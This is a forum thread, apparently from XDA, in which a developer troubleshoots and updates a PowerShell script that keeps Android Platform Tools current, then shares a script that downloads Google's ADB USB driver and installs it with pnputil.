At C:\Users\Xxx\Documents\AndroidPlatformToolsUpdater.ps1:335 char:104
+ ... les -PathDirAndroidPlatformTools $PathDirAndroidPlatformTools -System ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidData: (:) [Add-AndroidPlat...onmentVariables], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : ParameterArgumentValidationError,Add-AndroidPlatformToolsToEnvironmentVariables
I created the "Android Platform Tools" dir, and then got:
Code:
Installed version is up to date (v0.0.0.0).
Checking and eventually adding Android Platform Tools to Current User Environment Variables. Success? True.
Running Windows 10.
Click to expand...
Click to collapse
Thanks for feedback, I'll look into it
Updated the tool a bit today. Found more showstopper bugs. But think it's at least usefull now.
https://github.com/o-l-a-v/PowerShell-Projects/tree/master/AndroidPlatformToolsUpdater
Script updated with better logic to detect available version vs. installed version.
https://github.com/o-l-a-v/PowerShell-Projects/tree/master/AndroidPlatformToolsUpdater
Thanks for this bro
Made a script that can install ADB drivers on Windows. Not thoroughly tested, but seems to work.
C#:
#Requires -RunAsAdministrator
#Requires -Version 5.1
<#
.SYNOPSIS
Downloads and installs Google ADB drivers for Windows.
.DESCRIPTION
Downloads and installs Google ADB drivers for Windows.
* Currently there is no logic to check installed version vs. what's available.
* If already installed, running the script will just install the newest available driver again.
.NOTES
# About the script
Author: Olav Rønnestad Birkeland | github.com/o-l-a-v
Created: 220318
Modified: 220318
# Resources
* [Google ADB Drivers](https://developer.android.com/studio/run/win-usb)
* [PnPUtil return values](https://docs.microsoft.com/en-us/windows-hardware/drivers/devtest/pnputil-return-values)
.EXAMPLE
& $psISE.CurrentFile.FullPath
#>
# Input parameters
[OutputType($null)]
Param()
# Assets
$Uri = [string] 'https://dl-ssl.google.com/android/repository/latest_usb_driver_windows.zip'
$DownloadPath = [string] '{0}\{1}' -f $env:TEMP, $Uri.Split('/')[-1]
$ExtractDir = [string] $DownloadPath.Replace('.zip','')
$InfFileName = [string] 'android_winusb.inf'
# Download
Write-Output -InputObject '# Download'
if ([System.IO.File]::Exists($DownloadPath)) {
$null = [System.IO.File]::Delete($DownloadPath)
}
$null = [System.Net.WebClient]::new().DownloadFile(
$Uri,
$DownloadPath
)
Write-Output -InputObject ('$? = "{0}", $LASTEXITCODE = "{1}".' -f $?.ToString(), $LASTEXITCODE)
# Extract
Write-Output -InputObject '# Extract'
if ([System.IO.Directory]::Exists($ExtractDir)) {
$null = [System.IO.Directory]::Delete($ExtractDir,$true)
}
$null = Expand-Archive -Path $DownloadPath -DestinationPath $ExtractDir
Write-Output -InputObject ('$? = "{0}", $LASTEXITCODE = "{1}".' -f $?.ToString(), $LASTEXITCODE)
# Install .INF
Write-Output -InputObject '# Install .INF'
$InfFilePath = [string](Get-ChildItem -Path $ExtractDir -Filter $InfFileName -Recurse -File | Select-Object -ExpandProperty 'FullName')
$null = cmd /c ('pnputil.exe /add-driver "{0}" /install' -f $InfFilePath)
Write-Output -InputObject ('$? = "{0}", $LASTEXITCODE = "{1}".' -f $?.ToString(), $LASTEXITCODE)
# Check results
Write-Output -InputObject '# Checking if driver is found after install'
$InstalledDriver = [array](
Get-WindowsDriver -Online -All | Where-Object -FilterScript {$_.'ClassName' -eq 'AndroidUsbDeviceClass'}
)
if ($InstalledDriver.'Count' -ge 1) {
Write-Output -InputObject 'Found the driver.'
Exit 0
}
else {
Throw 'Did not find the driver.'
Exit 1
}
Maybe I'll add the to the main script later.